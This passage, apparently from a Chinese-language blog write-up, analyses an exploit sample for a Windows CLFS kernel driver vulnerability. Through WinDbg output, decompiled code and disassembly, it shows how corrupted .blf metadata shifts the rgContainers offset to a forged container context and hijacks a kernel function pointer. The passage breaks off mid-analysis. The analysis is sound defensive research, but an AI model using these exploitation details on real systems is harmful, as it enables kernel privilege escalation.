fffff800`531337d4 488bf9           mov     rdi, rcx
fffff800`531337d7 48894c2450       mov     qword ptr [rsp+50h], rcx
fffff800`531337dc 488b01           mov     rax, qword ptr [rcx]
fffff800`531337df 488b00           mov     rax, qword ptr [rax]
**fffff800`531337e2 ff15001effff     call    qword ptr [CLFS!__guard_dispatch_icall_fptr (fffff800531255e8)]**
fffff800`531337e8 4c8d4c2448       lea     r9, [rsp+48h]

同时调试器中可以看到rcx指向的对象位于0x5000000,同时对象内的函数指针指向了ClfsEarlierLsn,和调试过程中的一致。

0: kd> rrcx
rcx=0000000005000000
0: kd> dq rcx
00000000`05000000  00000000`05001000 ffffa289`14aec2b2
00000000`05000010  00000000`00000000 00000000`00000000
00000000`05000020  00000000`00000000 00000000`00000000
00000000`05000030  ffffa289`17764520 00000000`00000000
00000000`05000040  00000000`00000000 00000000`00000000
00000000`05000050  00000000`00000000 00000000`00000000
00000000`05000060  00000000`00000000 00000000`00000000
00000000`05000070  00000000`00000000 00000000`00000000
0: kd> dq 00000000`05001000
00000000`05001000  fffff800`53141b60 fffff800`53112b20
00000000`05001010  fffff800`53112b20 fffff800`53112b20
00000000`05001020  fffff800`53112b20 fffff800`55c2c640
00000000`05001030  fffff800`53112b20 fffff800`53112b20
00000000`05001040  fffff800`53112b20 fffff800`53112b20
00000000`05001050  fffff800`53112b20 fffff800`53112b20
00000000`05001060  fffff800`53112b20 fffff800`53112b20
00000000`05001070  fffff800`53112b20 fffff800`53112b20
0: kd> u fffff800`53112b20
CLFS!ClfsEarlierLsn:
fffff800`53112b20 488b0511280000  mov     rax,qword ptr [CLFS!CLFS_LSN_INVALID (fffff800`53115338)]
fffff800`53112b27 4885c9          test    rcx,rcx
fffff800`53112b2a 7436            je      CLFS!ClfsEarlierLsn+0x42 (fffff800`53112b62)
fffff800`53112b2c 488b09          mov     rcx,qword ptr [rcx]
fffff800`53112b2f 483b0d8a230000  cmp     rcx,qword ptr [CLFS!CLFS_LSN_NULL (fffff800`53114ec0)]
fffff800`53112b36 742a            je      CLFS!ClfsEarlierLsn+0x42 (fffff800`53112b62)
fffff800`53112b38 483bc8          cmp     rcx,rax
fffff800`53112b3b 7425            je      CLFS!ClfsEarlierLsn+0x42 (fffff800`53112b62)

根据CClfsBaseFilePersisted::CheckSecureAccess的伪代码,可知触发漏洞的错误对象来自于CClfsBaseFile::GetSymbol,并且其类型为_CLFS_CONTAINER_CONTEXT 对象指针。

Symbol = CClfsBaseFile::GetSymbol(a1, v14, v12, &v25);// 获取到错误对象
            v17 = Symbol;
            if ( Symbol < 0 )
              goto LABEL_21;
            v15 = (void (__fastcall ***)(_QWORD))*((_QWORD *)v25 + 3);
            if ( v15 )
            {
              v20 = (struct CClfsContainer *)*((_QWORD *)v25 + 3);// 调用函数指针
              v7 = v20;
__int64 __fastcall CClfsBaseFile::GetSymbol(
        PERESOURCE *this,
        unsigned int a2,
        int a3,
        struct _CLFS_CONTAINER_CONTEXT **a4)
{
 .....

  v6 = a2;
  v8 = 0;
  v17 = 0;
  if ( a2 < 0x1368 )
    return 3222929421i64;
  *a4 = 0i64;
  ExAcquireResourceSharedLite(this[4], 1u);
  if ( !CClfsBaseFile::IsValidOffset((CClfsBaseFile *)this, v6 + 47) )
    goto LABEL_15;
  CClfsBaseFile::GetBaseLogRecord((CClfsBaseFile *)this);
  v18[0] = 0;
  if ( (int)ULongAdd(v6, *(_DWORD *)(v11 + 40), (unsigned int *)v18) < 0
    || !v12
    || v18[0] >= (unsigned int)(*(unsigned __int16 *)(v13 + 4) << 9)
    || !(v12 + v6) )
  {
    goto LABEL_15;
  }
  if ( *(_DWORD *)(v12 + v6 - 12) != (_DWORD)v6 )
  {
    v8 = -1073741816;
LABEL_16:
    v17 = v8;
    goto LABEL_17;
  }
  v14 = ClfsQuadAlign(0x30u);
  if ( *(_DWORD *)(v15 - 16) != (unsigned __int64)(v16 + v14)
    || *(_DWORD *)v15 != -1040322552
    || *(_DWORD *)(v15 + 4) != 48
    || *(_DWORD *)(v15 + 16) != a3 )
  {
LABEL_15:
    v8 = -1072037875;
    goto LABEL_16;
  }
  *a4 = (struct _CLFS_CONTAINER_CONTEXT *)v15;
......
  return v8;
}


PAGE:00000001C00346FE 8B FA                         mov     edi, edx
......
PAGE:00000001C0034766 E8 B5 00 00 00                call    ?GetBaseLogRecord@CClfsBaseFile@@IEAAPEAU_CLFS_BASE_RECORD_HEADER@@XZ ; CClfsBaseFile::GetBaseLogRecord(void)
PAGE:00000001C0034766
PAGE:00000001C003476B                               ; 28:   v18[0] = 0;
PAGE:00000001C003476B 4C 8B C8                      mov     r9, rax
PAGE:00000001C003476E 89 5C 24 24                   mov     [rsp+48h+var_24], ebx
PAGE:00000001C0034772                               ; 29:   if ( (int)ULongAdd(v6, *(_DWORD *)(v11 + 40), (unsigned int *)v18) < 0
PAGE:00000001C0034772                               ; 30:     || !v12
PAGE:00000001C0034772                               ; 31:     || v18[0] >= (unsigned int)(*(unsigned __int16 *)(v13 + 4) << 9)
PAGE:00000001C0034772                               ; 32:     || !(v12 + v6) )
PAGE:00000001C0034772 4C 8D 44 24 24                lea     r8, [rsp+48h+var_24]
PAGE:00000001C0034777 41 8B 53 28                   mov     edx, [r11+28h]
PAGE:00000001C003477B 8B CF                         mov     ecx, edi
PAGE:00000001C003477D E8 1E 7D FD FF                call    ?ULongAdd@@YAJKKPEAK@Z          ; ULongAdd(ulong,ulong,ulong *)
PAGE:00000001C003477D
PAGE:00000001C0034782 85 C0                         test    eax, eax
PAGE:00000001C0034784 78 5B                         js      short loc_1C00347E1
PAGE:00000001C0034784
PAGE:00000001C0034786 4D 85 C9                      test    r9, r9
PAGE:00000001C0034789 74 56                         jz      short loc_1C00347E1
PAGE:00000001C0034789
PAGE:00000001C003478B 41 0F B7 43 04                movzx   eax, word ptr [r11+4]
PAGE:00000001C0034790 C1 E0 09                      shl     eax, 9
PAGE:00000001C0034793 39 44 24 24                   cmp     [rsp+48h+var_24], eax
PAGE:00000001C0034797 73 48                         jnb     short loc_1C00347E1
PAGE:00000001C0034797
PAGE:00000001C0034799                               ; 34:     goto LABEL_15;
PAGE:00000001C0034799 48 8B D7                      mov     rdx, rdi
PAGE:00000001C003479C 49 03 D1                      add     rdx, r9
......
PAGE:00000001C00347DC 49 89 16                      mov     [r14], rdx

根据伪代码和汇编可知最终a4的值由rdx+r9,r9来自于GetBaseLogRecord函数返回值,是一个固定值,rdx是CClfsBaseFile::GetSymbol的第二个参数,需要注意的是要将值赋给a4需要满足if语句中的条件,可以看到对应于在主blf文件修改的几个值。

在CClfsBaseFilePersisted::CheckSecureAccess中,GetSymbol的第二个参数为BaseLogRecord+0x328,对应于rgContainers数组。

BaseLogRecord = CClfsBaseFile::GetBaseLogRecord((CClfsBaseFile *)a1);
        v26 = BaseLogRecord;
        if ( !BaseLogRecord )
        {
LABEL_20:
          Symbol = -1072037875;
          v17 = -1072037875;
          goto LABEL_21;
        }
        v12 = 0i64;
        v24 = 0;
        v13 = 0;
        v23 = 0;
        while ( v13 < v11 && (unsigned int)v12 < 0x400 )
        {
          v14 = *((_DWORD *)BaseLogRecord + v12 + 0xCA);
          if ( v14 )
          {
            Symbol = CClfsBaseFile::GetSymbol(a1, v14, v12, &v25);// 获取到错误对象

在内存中可以看到其值为0x1570

0: kd> db ffffe381`a86d7070 + 0x328
ffffe381`a86d7398  70 15 00 00 00 00 00 00-00 00 00 00 00 00 00 00  p...............
ffffe381`a86d73a8  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................

根据代码逻辑GetSymbol会根据BaseLogRecord+0x1570定位container context对象并尝试调用pContainer成员的指针,container context如下:

0: kd> dq ffffe381`a86d7070 + 0x1570
ffffe381`a86d85e0  00000030`c1fdf008 00000000`00000000
ffffe381`a86d85f0  00000000`00000000 00000000`05000000

0: kd> dps 00000000`05000000
00000000`05000000  00000000`05001000
00000000`05000008  ffffa289`14aec2b2
00000000`05000010  00000000`00000000
00000000`05000018  00000000`00000000
00000000`05000020  00000000`00000000
00000000`05000028  00000000`00000000
00000000`05000030  ffffa289`17764520
00000000`05000038  00000000`00000000
00000000`05000040  00000000`00000000
00000000`05000048  00000000`00000000
00000000`05000050  00000000`00000000
00000000`05000058  00000000`00000000
00000000`05000060  00000000`00000000
00000000`05000068  00000000`00000000
00000000`05000070  00000000`00000000
00000000`05000078  00000000`00000000
0: kd> dq 00000000`05001000
00000000`05001000  fffff800`53141b60 fffff800`53112b20
00000000`05001010  fffff800`53112b20 fffff800`53112b20
00000000`05001020  fffff800`53112b20 fffff800`55c2c640
00000000`05001030  fffff800`53112b20 fffff800`53112b20
00000000`05001040  fffff800`53112b20 fffff800`53112b20
00000000`05001050  fffff800`53112b20 fffff800`53112b20
00000000`05001060  fffff800`53112b20 fffff800`53112b20
00000000`05001070  fffff800`53112b20 fffff800`53112b20
0: kd> u fffff800`53141b60
CLFS!ClfsMgmtDeregisterManagedClient:
fffff800`53141b60 48895c2408      mov     qword ptr [rsp+8],rbx
fffff800`53141b65 57              push    rdi
fffff800`53141b66 4883ec20        sub     rsp,20h
fffff800`53141b6a 488bd9          mov     rbx,rcx
fffff800`53141b6d 4885c9          test    rcx,rcx
fffff800`53141b70 0f841ae50000    je      CLFS!ClfsMgmtDeregisterManagedClient+0xe530 (fffff800`53150090)
fffff800`53141b76 4c8b150335feff  mov     r10,qword ptr [CLFS!_imp_KeEnterCriticalRegion (fffff800`53125080)]
fffff800`53141b7d e8ae5eb302      call    nt!KeEnterCriticalRegion (fffff800`55c77a30)
0: kd> u fffff800`53112b20
CLFS!ClfsEarlierLsn:
fffff800`53112b20 488b0511280000  mov     rax,qword ptr [CLFS!CLFS_LSN_INVALID (fffff800`53115338)]
fffff800`53112b27 4885c9          test    rcx,rcx
fffff800`53112b2a 7436            je      CLFS!ClfsEarlierLsn+0x42 (fffff800`53112b62)
fffff800`53112b2c 488b09          mov     rcx,qword ptr [rcx]
fffff800`53112b2f 483b0d8a230000  cmp     rcx,qword ptr [CLFS!CLFS_LSN_NULL (fffff800`53114ec0)]
fffff800`53112b36 742a            je      CLFS!ClfsEarlierLsn+0x42 (fffff800`53112b62)
fffff800`53112b38 483bc8          cmp     rcx,rax
fffff800`53112b3b 7425            je      CLFS!ClfsEarlierLsn+0x42 (fffff800`53112b62)

调用pContainer的函数指针汇编如下

PAGE:00000001C00337AF E8 2C 0F 00 00                call    ?GetSymbol@CClfsBaseFile@@QEAAJJKPEAPEAU_CLFS_CONTAINER_CONTEXT@@@Z ; CClfsBaseFile::GetSymbol(long,ulong,_CLFS_CONTAINER_CONTEXT * *)
PAGE:00000001C00337AF
PAGE:00000001C00337B4 8B D8                         mov     ebx, eax
PAGE:00000001C00337B6                               ; 66:             v17 = Symbol;
PAGE:00000001C00337B6 89 44 24 40                   mov     [rsp+0B8h+var_78], eax
PAGE:00000001C00337BA                               ; 67:             if ( Symbol < 0 )
PAGE:00000001C00337BA 85 C0                         test    eax, eax
PAGE:00000001C00337BC                               ; 68:               goto LABEL_21;
PAGE:00000001C00337BC 0F 88 F1 00 00 00             js      loc_1C00338B3
PAGE:00000001C00337BC
PAGE:00000001C00337C2                               ; 69:             v15 = (void (__fastcall ***)(_QWORD))*((_QWORD *)v25 + 3);
PAGE:00000001C00337C2 48 8B 44 24 70                mov     rax, [rsp+0B8h+var_48]
PAGE:00000001C00337C7 48 8B 48 18                   mov     rcx, [rax+18h]
PAGE:00000001C00337CB                               ; 70:             if ( v15 )
PAGE:00000001C00337CB 48 85 C9                      test    rcx, rcx
PAGE:00000001C00337CE 0F 84 EB 00 00 00             jz      loc_1C00338BF
PAGE:00000001C00337CE
PAGE:00000001C00337D4                               ; 73:               v7 = v20;
PAGE:00000001C00337D4 48 8B F9                      mov     rdi, rcx
PAGE:00000001C00337D7                               ; 72:               v20 = (struct CClfsContainer *)*((_QWORD *)v25 + 3);// 调用函数指针
PAGE:00000001C00337D7 48 89 4C 24 50                mov     [rsp+0B8h+var_68], rcx
PAGE:00000001C00337DC                               ; 74:               (**v15)(v15);
PAGE:00000001C00337DC 48 8B 01                      mov     rax, [rcx]
PAGE:00000001C00337DF 48 8B 00                      mov     rax, [rax]
PAGE:00000001C00337E2 FF 15 00 1E FF FF             call    cs:__guard_dispatch_icall_fptr

pContainer指向的对象的第一个函数指针指向了ClfsMgmtDeregisterManagedClient,该函数会调用rcx+0x28和rcx+0x8的函数指针。

NTSTATUS __stdcall ClfsMgmtDeregisterManagedClient(CLFS_MGMT_CLIENT ClientCookie)
{
  NTSTATUS v2; // edi

  if ( !ClientCookie )
    return -1073741811;
  KeEnterCriticalRegion();
  v2 = (*(__int64 (__fastcall **)(CLFS_MGMT_CLIENT, _QWORD))(*(_QWORD *)ClientCookie + 0x28i64))(ClientCookie, 0i64);
  (*(void (__fastcall **)(CLFS_MGMT_CLIENT))(*(_QWORD *)ClientCookie + 8i64))(ClientCookie);
  KeLeaveCriticalRegion();
  return v2;
}

而rcx指向了0x501000,在内存布局中rcx+0x28和rcx+0x8分别指向了RtlClearBit和ClfsEarlierLsn函数。

回溯触发过程,容易得出结论,漏洞利用的核心是rgContainers数组被修改导致定位到了错误的container context,在正常文件中rgContainers处偏移为0x1470,在触发漏洞时,该值被修改为了0x1570。错误的container context由攻击者控制,从而控制到了CClfsContainer对象,导致调用了错误的函数指针。

再次调试,在主blf文件的baselogrecord+0x328位置处下写断点。运行样本。在CLFS!CClfsBaseFilePersisted::WriteMetadataBlock+0x9a处断下。

1: kd> ba w2 FFFFE381A2303000+0x398

0: kd> k
 # Child-SP          RetAddr               Call Site
00 ffffa00a`57e30340 fffff800`531519cf     CLFS!CClfsBaseFilePersisted::WriteMetadataBlock+0x9a
01 ffffa00a`57e303d0 fffff800`5312b839     CLFS!CClfsBaseFilePersisted::ExtendMetadataBlock+0x423
02 ffffa00a`57e304a0 fffff800`5312ccbc     CLFS!CClfsBaseFilePersisted::AddSymbol+0x10d
03 ffffa00a`57e30520 fffff800`5312b3e6     CLFS!CClfsBaseFilePersisted::AddContainer+0xdc
04 ffffa00a`57e305d0 fffff800`53154845     CLFS!CClfsLogFcbPhysical::AllocContainer+0x136
05 ffffa00a`57e30670 fffff800`53132dd5     CLFS!CClfsRequest::AllocContainer+0x27d
06 ffffa00a`57e30730 fffff800`531328e7     CLFS!CClfsRequest::Dispatch+0x351
07 ffffa00a`57e30780 fffff800`53132837     CLFS!ClfsDispatchIoRequest+0x87
08 ffffa00a`57e307d0 fffff800`55c954d5     CLFS!CClfsDriver::LogIoDispatch+0x27
09 ffffa00a`57e30800 fffff800`560a6048     nt!IofCallDriver+0x55
0a ffffa00a`57e30840 fffff800`560a5e47     nt!IopSynchronousServiceTail+0x1a8
0b ffffa00a`57e308e0 fffff800`560a51c6     nt!IopXxxControlFile+0xc67
0c ffffa00a`57e30a20 fffff800`55e0d8f5     nt!NtDeviceIoControlFile+0x56
0d ffffa00a`57e30a90 00007ffd`9160d1a4     nt!KiSystemServiceCopyEnd+0x25
0e 0000009e`74b1b448 00007ffd`8f0c572b     ntdll!NtDeviceIoControlFile+0x14
0f 0000009e`74b1b450 00007ffd`900c5bf1     KERNELBASE!DeviceIoControl+0x6b
10 0000009e`74b1b4c0 00007ffd`7e4a2895     KERNEL32!DeviceIoControlImplementation+0x81
11 0000009e`74b1b510 00007ffd`7e4a245c     clfsw32!AddLogContainerSet+0x425
12 0000009e`74b1b5f0 00007ff7`ecad3e82     clfsw32!AddLogContainer+0x3c
13 0000009e`74b1b630 00007ff7`ecad461c     0624fbfa7618628e1ede80fcc3c36b25+0x3e82
14 0000009e`74b1f890 00007ffd`900c7614     0624fbfa7618628e1ede80fcc3c36b25+0x461c
15 0000009e`74b1f8d0 00007ffd`915c26a1     KERNEL32!BaseThreadInitThunk+0x14
16 0000009e`74b1f900 00000000`00000000     ntdll!RtlUserThreadStart+0x21

对应的汇编指令为

fffff800`53134276 4aff0430         inc     qword ptr [rax+r14]

在样本中为循环给创建的10个副blf文件添加日志容器


在CLFS!CClfsBaseFilePersisted::WriteMetadataBlock+0x9a函数中对应位置伪代码及汇编如下:

从this+0x30处取指针并解引用,而后访问指针指向的内存偏移24*a2的位置,将该处作为指针赋给v8,v8内存位置偏移0x28后作为指针并解引用赋给v10,v10和v8相加并解引用后自增1

__int64 __fastcall CClfsBaseFilePersisted::WriteMetadataBlock(CClfsBaseFilePersisted *this, unsigned int a2, char a3)
{
  __int64 v4; // rsi
  unsigned int v6; // ebx
  char v7; // r12
  __int64 v8; // r14
  int v9; // r15d
  __int64 v10; // rax
  __int64 v11; // r9
  __int64 v12; // rdx
  unsigned int i; // esi
  char *v14; // rdx
  struct _CLFS_CONTAINER_CONTEXT *v15; // rcx
  _QWORD *v16; // rsi
  unsigned int v18; // [rsp+34h] [rbp-54h]
  int v19; // [rsp+34h] [rbp-54h]
  unsigned int v20; // [rsp+3Ch] [rbp-4Ch] BYREF
  struct _CLFS_CONTAINER_CONTEXT *v21; // [rsp+40h] [rbp-48h] BYREF
  __int64 v22; // [rsp+48h] [rbp-40h] BYREF
  __int64 v23; // [rsp+50h] [rbp-38h]
  BOOLEAN v24; // [rsp+A8h] [rbp+20h]

  v4 = a2;
  v6 = 0;
  v23 = 0i64;
  v21 = 0i64;
  v7 = 0;
  v24 = ExAcquireResourceExclusiveLite(*((PERESOURCE *)this + 4), 1u);
  v8 = *(_QWORD *)(24 * v4 + *((_QWORD *)this + 6));// 获取偏移 (this+0x30h)
  v23 = v8;
  if ( v8 )
  {
    v7 = 1;
    v10 = *(unsigned int *)(v8 + 40);
    **v11 = ++*(_QWORD *)(v10 + v8) & 1i64;**
    v12 = *((_QWORD *)this + 6);
PAGE:00000001C0034202 48 8B F9                      mov     rdi, rcx
PAGE:00000001C0034205 33 DB                         xor     ebx, ebx
PAGE:00000001C0034207                               ; 24:   v23 = 0i64;
PAGE:00000001C0034207 48 89 5C 24 50                mov     [rsp+88h+var_38], rbx
PAGE:00000001C003420C                               ; 25:   v21 = 0i64;
PAGE:00000001C003420C 48 89 5C 24 40                mov     [rsp+88h+var_48], rbx
PAGE:00000001C0034211                               ; 26:   v7 = 0;
PAGE:00000001C0034211 45 32 E4                      xor     r12b, r12b
PAGE:00000001C0034214                               ; 27:   v24 = ExAcquireResourceExclusiveLite(*((PERESOURCE *)this + 4), 1u);
PAGE:00000001C0034214 44 88 64 24 30                mov     [rsp+88h+var_58], r12b
PAGE:00000001C0034219 B2 01                         mov     dl, 1                           ; Wait
PAGE:00000001C003421B 48 8B 49 20                   mov     rcx, [rcx+20h]                  ; Resource
PAGE:00000001C003421F 48 FF 15 8A 0E FF FF          call    cs:__imp_ExAcquireResourceExclusiveLite
PAGE:00000001C003421F
PAGE:00000001C0034226 0F 1F 44 00 00                nop     dword ptr [rax+rax+00h]
PAGE:00000001C003422B 88 84 24 A8 00 00 00          mov     [rsp+88h+arg_18], al
PAGE:00000001C003422B
PAGE:00000001C0034232
PAGE:00000001C0034232                               loc_1C0034232:                          ; DATA XREF: .rdata:00000001C0017DD0↑o
PAGE:00000001C0034232                               ;   __try { // __finally(_CClfsBaseFilePersisted__WriteMetadataBlock____1___fin$0)
PAGE:00000001C0034232 44 8B EE                      mov     r13d, esi
PAGE:00000001C0034235 48 8D 0C 75 00 00 00 00       lea     rcx, ds:0[rsi*2]
PAGE:00000001C003423D 48 03 CE                      add     rcx, rsi
PAGE:00000001C0034240 4C 8D 04 CD 00 00 00 00       lea     r8, ds:0[rcx*8]
PAGE:00000001C0034248                               ; 28:   v8 = *(_QWORD *)(24 * v4 + *((_QWORD *)this + 6));// 获取偏移 (this+0x30h)
PAGE:00000001C0034248 48 8B 4F 30                   mov     rcx, [rdi+30h]
PAGE:00000001C003424C 4D 8B 34 08                   mov     r14, [r8+rcx]
PAGE:00000001C0034250                               ; 29:   v23 = v8;
PAGE:00000001C0034250 4C 89 74 24 50                mov     [rsp+88h+var_38], r14
PAGE:00000001C0034255                               ; 30:   if ( v8 )
PAGE:00000001C0034255 4D 85 F6                      test    r14, r14
PAGE:00000001C0034258 75 10                         jnz     short loc_1C003426A
PAGE:00000001C0034258
PAGE:00000001C003425A                               ; 74:     v9 = -1072037875;
PAGE:00000001C003425A 41 BF 0D 00 1A C0             mov     r15d, 0C01A000Dh
PAGE:00000001C0034260                               ; 75:     v18 = -1072037875;
PAGE:00000001C0034260 44 89 7C 24 34                mov     [rsp+88h+var_54], r15d
PAGE:00000001C0034265 E9 28 01 00 00                jmp     loc_1C0034392
PAGE:00000001C0034265
PAGE:00000001C003426A                               ; ---------------------------------------------------------------------------
PAGE:00000001C003426A                               ; 32:     v7 = 1;
PAGE:00000001C003426A
PAGE:00000001C003426A                               loc_1C003426A:                          ; CODE XREF: CClfsBaseFilePersisted::WriteMetadataBlock(ulong,uchar)+78↑j
PAGE:00000001C003426A 41 B4 01                      mov     r12b, 1
PAGE:00000001C003426D                               ; 33:     v10 = *(unsigned int *)(v8 + 40);
PAGE:00000001C003426D 44 88 64 24 30                mov     [rsp+88h+var_58], r12b
PAGE:00000001C0034272 41 8B 46 28                   mov     eax, [r14+28h]
PAGE:00000001C0034276                               ; 34:     v11 = ++*(_QWORD *)(v10 + v8) & 1i64;
PAGE:00000001C0034276 4A FF 04 30                   **inc     qword ptr [rax+r14]**

在zscaler对CVE-2022-37969的分析中提到过CClfsBaseFilePersisted类结构,CClfsBaseFilePersisted类的this+0x30处存储了一个指向堆缓冲区的指针,该缓冲区大小为0xa0,在缓冲区0x30偏移处存储了指向base block的指针,如下所示:

0: kd> dps rdi
ffffa289`156cc000  fffff800`53114020 CLFS!CClfsBaseFilePersisted::`vftable'
ffffa289`156cc008  ffffffff`00000001
ffffa289`156cc010  00000000`00000000
ffffa289`156cc018  00000018`00000000
ffffa289`156cc020  ffffa289`1469a310
ffffa289`156cc028  00000000`19630006
ffffa289`156cc030  **ffffa289`19254810 // 堆指针**
ffffa289`156cc038  ffffa289`17bfd4d0
ffffa289`156cc040  ffffe381`a8743088
ffffa289`156cc048  00000000`0000000b
ffffa289`156cc050  ffffa289`156cc000
ffffa289`156cc058  ffffe381`a87430e0
ffffa289`156cc060  00000000`0000000b
ffffa289`156cc068  ffffa289`156cc000
ffffa289`156cc070  ffffe381`a8743138
ffffa289`156cc078  00000000`0000000b
0: kd> dq ffffa289`19254810
ffffa289`19254810  ffffe381`a5c7f680 00000000`00000400
ffffa289`19254820  00000000`00000000 ffffe381`a5c7f680
ffffa289`19254830  00000400`00000400 00000000`00000001
ffffa289`19254840  **ffffe381`a8743000** 00000800`00007a00 **// 指向了base block**
ffffa289`19254850  00000000`00000002 ffffe381`a8743000
ffffa289`19254860  00008200`00007a00 00000000`00000003
ffffa289`19254870  ffffe381`a5353cc0 0000fc00`00000200
ffffa289`19254880  00000000`00000004 ffffe381`a5353cc0
0: kd> db ffffe381`a8743000                            **// base block内容**
ffffe381`a8743000  15 00 01 00 3d 00 3d 00-00 00 00 00 00 00 00 00  ....=.=.........
ffffe381`a8743010  02 00 00 00 00 00 00 00-00 00 00 00 ff ff ff ff  ................
ffffe381`a8743020  00 00 00 00 ff ff ff ff-70 00 00 00 00 00 00 00  ........p.......
ffffe381`a8743030  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
ffffe381`a8743040  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
ffffe381`a8743050  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
ffffe381`a8743060  00 00 00 00 00 00 00 00-80 79 00 00 00 00 00 00  .........y......
ffffe381`a8743070  01 00 00 00 00 00 00 00-9c 06 ce e1 00 1c ee 11  ................

0: kd> !pool ffffe381`a8743000
Pool page ffffe381a8743000 region is Paged pool
*ffffe381a8743000 : large page allocation, tag is Clfs, size is 0x7a00 bytes
		Pooltag Clfs : CLFS General buffer, or owner page lookaside list, Binary : clfs.sys

回到调试器中r14和rax寄存器值分别问ffffe381a2303030和0000000000000369

0: kd> rr14
r14=ffffe381a2303030
0: kd> rrax
rax=0000000000000369

可以看出ffffe381a2303030位于主blf文件的base block + 0x30位置,rax值取自于base block + 0x30 + 0x28

0: kd> db ffffe381a2303030 + 0x28
ffffe381`a2303058  69 03 00 00 00 00 00 00-00 00 00 00 00 00 00 00  i...............

所以代码会让主blf的base block + 0x30 + 0x369 = base block +0x399处的一个字节自增1,而该处和BaseLogRecord的rgContainers的高字节重叠,前面说过正常blf文件的rgContainers值为0x1470,在该处自增1后,高字节0x14自增就变为了0x15,导致该处值变为0x1570,从而导致后续定位主blf文件的container context时定位到了攻击者伪造的container context。

这里的问题是,该处原为给10个副blf文件添加日志容器,所以按正常来讲该处定位到的应该是副blf文件的base block,而不是主blf文件的base block。回到CClfsBaseFilePersisted::WriteMetadataBlock函数中,定位base block代码如下

v8 = *(_QWORD *)(24 * v4 + *((_QWORD *)this + 6));// 获取偏移 (this+0x30h)

其中*((_QWORD *)this + 6)为固定值(堆指针),v4为传入WriteMetadataBlock的第二个参数,回溯到调用者,去除无关逻辑之后如下:

__int64 __fastcall CClfsBaseFilePersisted::ExtendMetadataBlock(__int64 a1, int a2, int a3)
{
.....

  v3 = a2;
  v36 = 0i64;
  v42 = 0i64;
  v34 = 0i64;
......
    EventObject = CClfsBaseFile::GetControlRecord((CClfsBaseFile *)a1, &v34);
 ......
                  EventObject = CClfsBaseFilePersisted::FlushControlRecord((CClfsBaseFilePersisted *)a1);
                  for ( k = EventObject; EventObject >= 0; k = EventObject )
                  {
LABEL_41:
                    if ( *v12 != 2 )
                      break;
                  ......
                    v27 = *((unsigned __int16 *)v34 + 0xD);
                    v28 = *((unsigned __int16 *)v34 + 0xD);
                    if ( ((_WORD)v27 == *((_WORD *)v34 + 12)
                       || CClfsBaseFilePersisted::IsShadowBlock(v14, v27, *((unsigned __int16 *)v34 + 12)))
                      && *(_DWORD *)(*(_QWORD *)(a1 + 48) + 24 * v27 + 8) >> 9 < *((_DWORD *)v34 + 7) )
                    {
                      CClfsBaseFilePersisted::ExtendMetadataBlockDescriptor(
                        (CClfsBaseFilePersisted *)a1,
                        v28,
                        *((_DWORD *)v34 + 9) >> 1);
                      LOWORD(v27) = *v25;
                    }
                    CClfsBaseFilePersisted::WriteMetadataBlock((CClfsBaseFilePersisted *)a1, (unsigned __int16)v27, 0);
                 ......
                  }
                }
              }
            }
          }
        }
      }
    }
  }
......
  return (unsigned int)EventObject;
}

WriteMetadataBlock的第二个参数来源于CClfsBaseFile::GetControlRecord的第二个参数,跟进CClfsBaseFile::GetControlRecord逻辑

__int64 __fastcall CClfsBaseFile::GetControlRecord(CClfsBaseFile *this, struct _CLFS_CONTROL_RECORD **a2)
{
......
  *a2 = 0i64;
  v13 = 0;
  v14 = 0;
  result = CClfsBaseFile::AcquireMetadataBlock(this);
  v5 = result;
  if ( (int)result >= 0 )
  {
    v6 = (_DWORD *)*((_QWORD *)this + 6);       // 访问this+0x30处的指针,这个指针指向了0x90大小的heap
    v7 = *(_QWORD *)v6;                         // 该段内存存储了一些内存指针,获取偏移0x0处的指针,这个指针指向了control block
    v8 = v6[2];
    v9 = *(unsigned int *)(*(_QWORD *)v6 + 0x28i64);// 获取control block 0x28的数值
    v10 = *(_QWORD *)v6 + v9;                   // 将control block 0x28处数值和control block相加,计算control record
    if ( (unsigned int)v9 < v8 && (unsigned int)v9 >= 0x70 && v8 - (unsigned int)v9 >= 0x68 )
    {
      v11 = 24i64 * *(unsigned __int16 *)(v10 + 72);
      if ( v8 - (unsigned int)v9 - 80 >= v11 )
      {
        if ( (g_signatureOffsetsValidation & 1) == 0
          || (v12 = *(unsigned int *)(v7 + 104), v11 + (unsigned int)(v9 + 80) <= v12)
          && (unsigned int)v12 <= v8
          && (int)RtlULongMult(*(unsigned __int16 *)(v7 + 4), 2u, &v13) >= 0
          && (int)RtlULongAdd(v12, v13, &v14) >= 0
          && v14 <= v8 )
        {
          *a2 = (struct _CLFS_CONTROL_RECORD *)v10;
          return v5;
        }
        if ( WPP_GLOBAL_Control != &WPP_GLOBAL_Control && (*((_DWORD *)WPP_GLOBAL_Control + 11) & 0x8000000) != 0 )
          WPP_SF_sdLLH(*((_QWORD *)WPP_GLOBAL_Control + 3));
      }
    }
    return 0xC01A000Di64;
  }
  return result;
}

分析该代码,虽然this参数为CClfsBaseFile *类型,但在调用CClfsBaseFile::GetControlRecord的CClfsBaseFilePersisted::ExtendMetadataBlock函数中传入的该参数原类型为CClfsBaseFilePersisted。

该代码最终计算a2的逻辑为从this+30处取得指针并解引用,获得control block地址,而后解引用该地址并在偏移0x28处取得一个偏移,将这个偏移和control block相加获得control record地址并赋给a2.

在调试器中可以看到该偏移为0x70,即从control block +0x70位置定位到了control record

0: kd> db ffffe381`a5c7f680 + 0x28
ffffe381`a5c7f6a8  70 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  p...............

回到CClfsBaseFilePersisted::ExtendMetadataBlock函数中,在取得control record之后,在control record+0x1a处取得值并作为第二个参数传入CClfsBaseFilePersisted::WriteMetadataBlock中,该处取得值为0x13

0: kd> db ffffe381`a5c7f680 + 0x70 + 0x1a
ffffe381`a5c7f70a  13 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................

根据前面CClfsBaseFilePersisted::WriteMetadataBlock的逻辑可知,在第二个参数传入0x13之后计算的偏移为0x18*0x13=0x1c8,即从poi(CClfsBaseFilePersisted+0x30)+0x1c8取得值并获取poi(poi(CClfsBaseFilePersisted+0x30)+0x1c8)+0x28处的偏移。

在前面分析CClfsBaseFilePersisted结构知道,0x30偏移处指向的堆内存大小只有0xa0

0: kd> !pool ffffa289`19254810
Pool page ffffa28919254810 region is Nonpaged pool
